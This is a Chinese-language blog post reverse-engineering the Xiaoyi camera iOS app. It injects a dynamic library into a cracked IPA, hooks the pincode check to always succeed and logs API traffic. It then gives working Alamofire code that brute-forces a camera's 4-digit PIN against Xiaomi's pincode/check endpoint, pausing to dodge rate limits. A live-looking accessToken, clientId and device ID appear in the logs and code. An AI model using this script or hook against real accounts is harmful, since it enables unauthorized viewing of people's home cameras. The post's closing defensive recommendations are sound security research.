小蟻攝像機App加密探究

概述

本次分析,選取了小蟻攝像機App的iOS版本,主要目標是從數據緩存及數據傳輸方面探索App數據方面的安全性。

iOS系統中,本地緩存通常以數據庫、plist、序列化文件、UserDefault、KeyChain等為媒介。其中UserDefault、KeyChain都采用iOS自帶的加密方式,在不明確鍵值及密鑰的情況下,基本上無法破解。

數據傳輸方面,在https普及后,App基本上都是采用這種方式進行的。雖然抓包已經失效,但并不代表不可以從App中獲取發送的請求及響應,依然可以通過對關鍵請求進行hook,打印參數的方法來得到接口信息。

本次逆向使用非越獄手機進行,采用最暴力、最直接的方法 —— 打印日志。思路是先將libReveal.dylib、libCommonCrack.dylib等動態庫注入App,通過classdump、Hopper得到關鍵函數,再對關鍵函數進行hook,打印信息,獲取接口,暴力破解。

1 環境要求

iPhone手機,系統不做要求,越獄不做要求

Xcode及iOSOpenDev套件

yololib動態注入工具

Hopper Disassembler v4 反編譯工具

Reveal 界面分析工具

小蟻攝像機iOS版本(2.19.3)

2 安裝包破解

破解版本安裝包獲取的途徑非常多,常用的方法是直接使用越獄的手機,借助dumpcrypted/Clutch等工具,獲取砸殼后的二進制文件。

由于本次分析是基于非越獄的手機,這里通過PP助手官網下載越獄的安裝包。

2.1 分析網頁源碼

搜索找到“小蟻攝像機”的應用鏈接 https://www.25pp.com/ios/detail_1598325/

打開網頁檢查器,定位到“下載越獄版本”的標簽上,得到app的下載地址appdownurl和點擊響應事件ppOneKeySetup

appdownurl="aHR0cDovL3IxMS4yNXBwLmNvbS9zb2Z0LzIwMTgvMDMvMTUvMjAxODAzMTVfMjE1NF8yMTg5ODAwMzM4ODguaXBh"

onclick="return ppOneKeySetup(this)"

根據ppOneKeySetup及appdownUrl,在 pp_onekey-d17d98b4.js定位到相關代碼:

(C = h.href, E = h.getAttribute("appdownurl"), E && E.length > 0 && (C = o.base64decode(o.utf8to16(E)))

簡單分析代碼,腳本只是將appdownUrl進行了base64的解碼,并沒有其他特殊操作。對appdownUrl進行base64Decode后,得到ipa下載地址http://r11.25pp.com/soft/2018/03/15/20180315_2154_218980033888.ipa

下載ipa并解壓縮后,使用otool進行驗證,可以看到armv7及arm64的crypt字段都為0,說明下載的安裝包二進制文件已經被砸殼了。

jiangbindeMac-mini:V2.0 jiangbin$ file YiHome2.0
YiHome2.0: Mach-O universal binary with 2 architectures: [arm_v7: Mach-O executable arm_v7] [arm64]
YiHome2.0 (for architecture armv7): Mach-O executable arm_v7
YiHome2.0 (for architecture arm64): Mach-O 64-bit executable arm64
jiangbindeMac-mini:V2.0 jiangbin$ otool -l YiHome2.0 | grep crypt
     cryptoff 16384
    cryptsize 16547840
      cryptid 0
     cryptoff 16384
    cryptsize 18874368
      cryptid 0

2.2 重簽名

為了查看App沙盒中的文件,需要使用開發證書對app進行重新簽名。重簽名腳本見附錄重簽名腳本

使用一段時間后,打開沙盒目錄,緩存數據初見端倪,接下來對相關文件行分析:


沙盒Documents目錄

3 本地緩存分析

對沙盒Documents目錄,進行簡單分析:

  • 4502360:可能是類似與userId的字段
  • account.plist:記錄了一些參數,只有value,沒有key值
  • devices:里面文件夾以deviceId為名稱,區分不同的設備,每個子文件夾內有兩張封面圖 placeholder.png、placeholder_blur.png,分別對應攝像頭設置密碼前后的封面圖; placeholder_blur.png只是將封面圖作了高斯模糊處理
  • log:自帶的打印日志,信息很少,除了deviceId外,沒有其他可用信息
  • yydb.sqlite3:緩存了報警信息、登錄信息等內容,密碼相關的信息都是加密過的

3.1 yydb.sqlit3

yydb.sqlit3

發現一個有意思的現象,對于alarm信息,數據庫中存在兩份數據表,alarm_mialarm_yi。聯想到之前設備添加的提示信息,可以斷定,小蟻從小米獨立出來以后,引入了自己的賬號系統,但是為了兼容1代的攝像頭,又不得不使用小米賬號進行第三方登錄。估計這一部分的賬號會逐步進行淘汰,App考慮到后期的維護性,直接重新建了一份新的表格alarm_yi,以減少數據的沖突和維護。下面對表alarm_mi進行分析:

  • deviceId:yunyi.TNPCHNA-695008-FUKEN
  • id:數據庫自增長的id,與消息id無關
  • time:消息觸發時間,結合表 alarm_list_read_2 ,App中將此鍵值作為消息的索引,也就是說從平臺拉取的消息是不帶messageId的,App需要通過此值來進行查找、刪除、標記等操作
  • videoUrl: 報警消息對應的預覽視頻地址,每個視頻只有6s,如果要查看完整的視頻,需要在視頻播放結束后,主動跳轉到完整視頻界面去查看。使用Signature、Expires、GalaxyAccessKeyId等參數檢驗,在Expires時間內,可以直接下載,但由于不是標準格式的mp4格式文件,無法直接播放
    https://cnbj2.fds.api.xiaomi.com/motiondetection/2018%2F03%2F19%2F337701719%2Fyunyi.TNPCHNA-695008-FUKEN_081922470.mp4?
    GalaxyAccessKeyId=5561734629076&Expires=1521508775000&Signature=mLcdWGRz+oYaxS4eOlMcO6o9YL8=
  • videoImageUrl: 報警消息封面圖,與videoUrl類似
  • video_pwd:每行對應的密碼均不一樣,即相同的視頻密碼,不同的錄像段對應的緩存密碼是不同的,_SJgn2EMj6pWl2WH3x3qSA,猜測應該是經過了多種對稱加密
  • pic_pwd:與video_pwd相似

從表內容來看,數據庫對密碼字段進行了較為復雜的加密,無法通過反解析來得到視頻的原始密碼。另外Expires時間設置得比較短,只有30分鐘,超過30min后,下載鏈接失效,從而保證了一定的安全性。

3.2 log文件

App自帶的日志信息,位于log/y_log.txt。從打開App開始,輸入攝像機密碼,再到拉流成功,導出日志文件。

除了前面分析過的deviceId外,沒有其他多余的信息

...
2018-03-20-04-03-26 -[JJP2PControl onCameraError:errorCode:] [Line 1923] ?? TNPCHNA-695008-FUKEN,error:-3003

2018-03-20-04-03-26 -[JJP2PControl onCameraError:errorCode:] [Line 1923] ?? TNPCHNA-695008-FUKEN,error:-3019

2018-03-20-04-03-32 -[JJCameraPlayViewController viewDidLoad] [Line 125] connect TNPCHNA-695008-FUKEN p2p:TNPCHNA-695008-FUKEN
....

3.3 本地緩存總結

從數據庫、日志文件分析,都沒有敏感的數據信息暴露,本地數據的緩存在正常途徑下還是很安全的。

另外,數據庫、緩存文件中,或許為了設備安全,并沒有設備參數相關的數據,猜測應該是根本沒有緩存。驗證的方法也很簡單:關閉設備密碼,返回到主頁,打開手機飛行模式,再次進入設備設置,發現提示設備連接失敗,只展示了攝像機名稱這一欄。

從目前來看,想要實現破解密碼的目標似乎很難行通,但事實或許并不是如此,接下來,我們從代碼層面對App進一步分析。

4 動態注入及源碼分析

AppStore版本的程序,禁止使用非系統的動態庫,主要是為了安全和性能的考慮。但不意味著App不可以使用動態庫,只要將動態庫加入到程序的bundle中,并使用相同的證書對動態庫、app進行簽名,就可以正常使用。

4.1 注入libCommonCrack.dylib

使用iOSOpenDev新建動態庫工程,生成libCommonCrack.dylib,該動態庫作用如下:

(1)導入公共log模塊代碼,重定向NSLog、print等輸出到沙盒文件中

(2)對關鍵代碼進行Hook

(3)啟動libReveal.dylib

生成dylib后,使用yololib將其注入到二進制文件YiHome2.0中:

APP_NAME="YiHome2.0"
DYLIB_NAME="libCrackCommon.dylib"
TARGET_NAME="Crack-${APP_NAME}.ipa"

#注入動態庫
./yololib $APP_NAME.app/$APP_NAME $DYLIB_NAME

4.2 啟動Reveal

參考Reveal的幫助文檔,在AppDelegate+Hook.m中,Hook住idFinishLaunchingWithOptions函數,加入啟動libReveal.dylib的代碼

CHDeclareMethod(0, void, AppDelegate, loadReveal)
{
    if (NSClassFromString(@"IBARevealLoader") == nil)
    {
        NSString *revealLibName = @"libReveal";
        NSString *revealLibExtension = @"dylib";
        NSString *error;
        NSString *dyLibPath = [[NSBundle mainBundle] pathForResource:revealLibName ofType:revealLibExtension];
        
        NSLog(@"Loading dynamic library: %@", dyLibPath);
        dlopen([dyLibPath cStringUsingEncoding:NSUTF8StringEncoding], RTLD_NOW);
    }
}

注入libCommonCrack.dylib,并重新簽名,安裝、啟動App,再次打開沙盒目錄。生成了AppLog目錄,打開日志文件,Reveal正常啟動:

018-03-20 08:53:45.601 YiHome2.0[583:97603] Loading dynamic library: /var/containers/Bundle/Application/7CCCADB7-AF78-4E16-8CFD-2CB486C09C45/YiHome2.0.app/libReveal.dylib
2018-03-20 08:53:45.735 YiHome2.0[583:97603]  INFO: Reveal Server started (Protocol Version 25).

從App上進入密碼校驗界面,Mac上同步更新Reveal展示,得到相關信息,即密碼輸入框所在的父視圖 JJPincodeViewController

Reveal

至此,第一個線索浮出水面。通過操作可以得知,進入設置、視頻界面前,需要輸入密碼進行檢驗。如果直接跳過這個檢驗的步驟,是不是就可以直接觀看視頻、設置設備呢?接下來重點對JJPincodeViewController進行代碼分析。

5 源碼Hook

使用class-dump對二進制文件進行頭文件導出,初步分析JJPincodeViewController.h,找到兩個關鍵函數:

- (void)yyBlockResponsePincodeCheckWithRequest:(id)arg1 response:(id)arg2 success:(_Bool)arg3;
- (_Bool)___pincodeIsSuccessWithRequest:(id)arg1 response:(id)arg2 success:(_Bool)arg3 isCheckout:(_Bool)arg4;

再使用Hopper查看JJPincodeViewController的代碼,梳理函數調用關系,大致得出如下的調用過程:

調用關系

將返回的結果處理函數___pincodeIsSuccessWithRequest,直接return true,一試究竟。

5.1 JJPincodeViewController+Hook

libCrackCommon工程中,加入JJPincodeViewController+Hook.m,對___pincodeIsSuccessWithRequest函數進行返回值重寫

CHMethod(4, bool, JJPincodeViewController, ___pincodeIsSuccessWithRequest, id, arg1, response, id, arg2, success, bool, arg3, isCheckout, bool , arg4 )
{
    NSLog(@"JJPincodeViewController:: ___pincodeIsSuccessWithRequest %@ - %@ - %d - %d", arg1, arg2, arg3, arg4);
    
    if ([arg2 isKindOfClass:NSClassFromString(@"APPResponse")]) {
        APPResponse *response = (APPResponse *)arg2;
        NSLog(@"JJPincodeViewController dictResponse::%@", response.dictResponse);
    }
    
    return YES;
}

完成打包后,直接輸入一個錯誤的密碼,確實不再有密碼錯誤的提示,直接進入了視頻播放界面。

開始拉流,但是提示連接失敗;進入設置界面,加載過后,也是失敗。

可以肯定,App采用了雙重的加密機制,雖然可以繞過前面的密碼驗證步驟,但后面的請求應該也使用了密碼進行檢驗。

至此,繞過密碼驗證的路也被堵死,接下來直接從接口進行分析。請求是通過YYHttpClient發送的,響應通過block返回,將YYHttpClient的發送和響應都寫到日志中,看看能否得到有用信息。

5.2 YYHttpClient+Hook

這里,直接hook住post的請求,打印請求體及響應。

//- (id)singlePostWithUrl:(id)arg1 completionBlock:(id)arg2;
CHMethod(2, BOOL, YYHttpClient, singlePostWithUrl, id, arg1, completionBlock, id, arg2 )
{
    id result = CHSuper(2, YYHttpClient, singlePostWithUrl, arg1, completionBlock, arg2);
    NSLog(@"YYHttpClient::singlePostWithUrl request %@ - %@ ", arg1, arg2);
    NSLog(@"YYHttpClient::singlePostWithUrl result %@ ", result);
    
    return result;
}

再次打開日志,請求參數及結果一目了然:

==============================================
url    -> https://openapp.io.mi.com/openapp/pincode/check?data=%7B%22did%22%3A%22yunyi.TNPCHNA-695008-FUKEN%22%2C%22pincode%22%3A%220411%22%7D&accessToken=V2_35g_rhFEw_0GXiBzCSf_l7ZRjqy9OLJ3sahoPNoORzn6olv-PWqTGDLCNKmow1pQ59pWu74JRBr7rx3V5vxPdPBIyUwBIJIdjQipGmVfY8rF8_4oB5vexgy02H3VaynTZoF8H68IG0isVZfiXIbnhQ&clientId=2882303761517230659
action -> https://openapp.io.mi.com/openapp/pincode/check
params -> data=%7B%22did%22%3A%22yunyi.TNPCHNA-695008-FUKEN%22%2C%22pincode%22%3A%220411%22%7D&accessToken=V2_35g_rhFEw_0GXiBzCSf_l7ZRjqy9OLJ3sahoPNoORzn6olv-PWqTGDLCNKmow1pQ59pWu74JRBr7rx3V5vxPdPBIyUwBIJIdjQipGmVfY8rF8_4oB5vexgy02H3VaynTZoF8H68IG0isVZfiXIbnhQ&clientId=2882303761517230659
==============================================
 - <__NSStackBlock__: 0x16fde5960> 
2018-03-20 08:53:50.363 YiHome2.0[583:97603] YYHttpClient::singlePostWithUrl result (null) 
2018-03-20 08:53:50.672 YiHome2.0[583:97603] JJPincodeViewController:: ___pincodeIsSuccessWithRequest <ASIFormDataRequest: 0x10203f000> - <APPResponse: 0x171666100> - 1 - 1
2018-03-20 08:53:50.672 YiHome2.0[583:97603] JJPincodeViewController dictResponse::{
    code = 0;
    message = ok;
    result = "";
}

對url中的data參數進行轉義:

data={"did":"yunyi.TNPCHNA-695008-FUKEN","pincode":"0411"}

4個請求參數,分別如下:

  • did:yunyi.TNPCHNA-695008-FUKEN,即前面分析過的設備id
  • pincode:4位明文的密碼
  • clientId:應該是平臺分配的程序標識,這個值是固定的,沙盒中的account.plist文件也有這個值
  • accessToken:用于免登錄和api請求

先嘗試通過https://www.sojson.com/httpRequest/模擬請求,看能否通過 ,得到返回結果:

{
    "code": 0,
    "message": "ok",
    "result": {
        "ret": -1
    }
}

得到正常的響應,ret返回-1表示失敗。使用錯誤的密碼多試幾次后,返回的數據也是一樣的,可見平臺并未對該接口pincode/check作保護,App限制5次輸入也是本地的行為。請求參數中did、clientId是固定值,在不注銷的情況下accessToken也是不變的,所以只需要將pincode從0000枚舉到9999,進行模擬的post請求,就可以暴力破解設備密碼

直接使用Almofire,發送模擬請求,發現每進行100次的串行請求,平臺返回frequent的錯誤。這里每模擬請求50次,延遲10s繼續進行,以規避該錯誤,具體參考代碼見附錄Almofire模擬請求。最終得到正確的密碼 0411

Data: {"code":0,"message":"ok","result":{"ret":-1}}
Failed...0401
Data: {"code":0,"message":"ok","result":{"ret":-1}}
Failed...0402
Data: {"code":0,"message":"ok","result":{"ret":-1}}
Failed...0403
Data: {"code":0,"message":"ok","result":{"ret":-1}}
Failed...0404
Data: {"code":0,"message":"ok","result":{"ret":-1}}
Failed...0405
Data: {"code":0,"message":"ok","result":{"ret":-1}}
Failed...0406
Data: {"code":0,"message":"ok","result":{"ret":-1}}
Failed...0407
Data: {"code":0,"message":"ok","result":{"ret":-1}}
Failed...0408
Data: {"code":0,"message":"ok","result":{"ret":-1}}
Failed...0409
Data: {"code":0,"message":"ok","result":{"ret":-1}}
Failed...0410
Data: {"code":0,"message":"ok","result":""}
Succeed...0411

除此之外,還可以得到很多其他的接口……

6 總結

綜上,從數據緩存、數據傳輸方面分析了小蟻攝像機App的加密方式及安全性。從表象上看,緩存使用了復雜的對稱加密方式,數據傳輸使用了HTTPS方式,安全性應該是非常高了。但是在hook之下,隱患一覽無遺,扯去了安全的外衣,剩下的是一系列明文傳輸的接口。
從中,我覺得有幾點值得反思:

(1)密碼校驗,平臺一定要做防止暴力破解,而不是從App端進行限制

(2)Http請求,要在請求頭中加上比較復雜的簽名算法

(3)發布版本,需要屏蔽日志輸出相關函數,以免被進行hook

附錄

重簽名腳本


APP_NAME="YiHome2.0"
DYLIB_NAME="libCrackCommon.dylib"
TARGET_NAME="Crack-${APP_NAME}.ipa"
TARGET_BUNDLEID="com.360ants.yihome"
KEYCHAIN="6F52A56706B4E6CB90C605FF39841ACB01C8558C"

#配置信息打印
function printXcodeInfo()
{
    xcode-select --version
    xcode-select --print-path
    security find-identity -v -p codesigning
}

#注入動態庫
./yololib $APP_NAME.app/$APP_NAME $DYLIB_NAME

#將文件拷貝到目錄下
cp $DYLIB_NAME $APP_NAME.app/$DYLIB_NAME
rm -f $APP_NAME.app/embedded.mobileprovision
rm -f -r $APP_NAME.app/_CodeSignature
cp embedded.mobileprovision $APP_NAME.app/embedded.mobileprovision

#刪除watch及PlugIns文件夾【可能會造成簽名不正確的問題】
rm -r $APP_NAME.app/Watch/
rm -r $APP_NAME.app/PlugIns/

#替換圖標
function copyIconWithSize () {
    SIZE=$1
    cp ./Icons/AppIcon$1x$1@2x.png $APP_NAME.app/AppIcon$1x$1@2x.png
    cp ./Icons/AppIcon$1x$1@3x.png $APP_NAME.app/AppIcon$1x$1@3x.png
}

copyIconWithSize "29"
copyIconWithSize "40"
copyIconWithSize "57"
copyIconWithSize "60"

#改變bundle identifier
echo "change bundle ID to ${TARGET_BUNDLEID}"
`/usr/libexec/PlistBuddy -c "Set :CFBundleIdentifier ${TARGET_BUNDLEID}" $APP_NAME.app/Info.plist`

#先對動態庫簽名
codesign -v -f -s "${KEYCHAIN}" $APP_NAME.app/$DYLIB_NAME
#codesign -v -f -s "${KEYCHAIN}" $APP_NAME.app/Frameworks/*

#再對app簽名
codesign -v -f -s "${KEYCHAIN}" --entitlements Entitlements.plist $APP_NAME.app

#刪除舊的ipa,覆蓋時可能會影響安裝 
rm -r $TARGET_NAME

#使用Zip打包,注意文件結構 Payload/xxx.app
mkdir Payload
cp -r $APP_NAME.app Payload
zip -qr $TARGET_NAME Payload

#清除臨時文件夾Payload
rm -rf Payload

#檢驗
echo "============================================================="
echo "簽名信息:"
codesign -dvvv $APP_NAME.app

Almofire模擬請求代碼段

func testYiHomePincode(pincode: String, completion: @escaping (_ result: Bool) -> (Void)) -> DataRequest {
        let urlString = "https://openapp.io.mi.com/openapp/pincode/check"
        let header: HTTPHeaders = [
            "Content-Type" : "application/x-www-form-urlencoded"
        ]
        
        //注意data為非標準格式json
        let parameters: Parameters = [
            "data": "{\"did\": \"yunyi.TNPCHNA-695008-FUKEN\", \"pincode\": \"\(pincode)\"}",
            "accessToken": "V2_35g_rhFEw_0GXiBzCSf_l7ZRjqy9OLJ3sahoPNoORzn6olv-PWqTGDLCNKmow1pQ59pWu74JRBr7rx3V5vxPdPBIyUwBIJIdjQipGmVfY8rF8_4oB5vexgy02H3VaynTZoF8H68IG0isVZfiXIbnhQ",
            "clientId": "2882303761517230659"
        ]
        
        let request = Alamofire.request(urlString, method: .post, parameters: parameters, encoding: URLEncoding.default, headers: header)
        request.response { response in
            
            if let data = response.data, let utf8Text = String(data: data, encoding: .utf8) {
                print("Data: \(utf8Text)")
                
                let json = JSON.parse(utf8Text)
                if let dic = json.dictionaryObject {
                    if let result = dic["result"] {
                        if result as? [String: Any] != nil {
                            print("Failed...\(pincode)")
                            completion(false)
                        } else {
                            print("Succeed...\(pincode)")
                            completion(true)
                        }
                    } else {
                        print("Failed...\(pincode)")
                        completion(false)
                    }
                }
            }
        }
        
        return request
    }
    
    
    func testYiHome(index: Int) {
        
        let pincode = String(format: "%04d", index)
        
        _ = self.testYiHomePincode(pincode: pincode, completion: { (result) -> (Void) in
            if result == false {
                
                if index != 0, index % 50 == 0 {
                    sleep(10)
                }
                
                self.testYiHome(index: index+1)
            }
        })
    }
    
最后編輯于
?著作權歸作者所有,轉載或內容合作請聯系作者
平臺聲明:文章內容(如有圖片或視頻亦包括在內)由作者上傳并發布,文章內容僅代表作者本人觀點,簡書系信息發布平臺,僅提供信息存儲服務。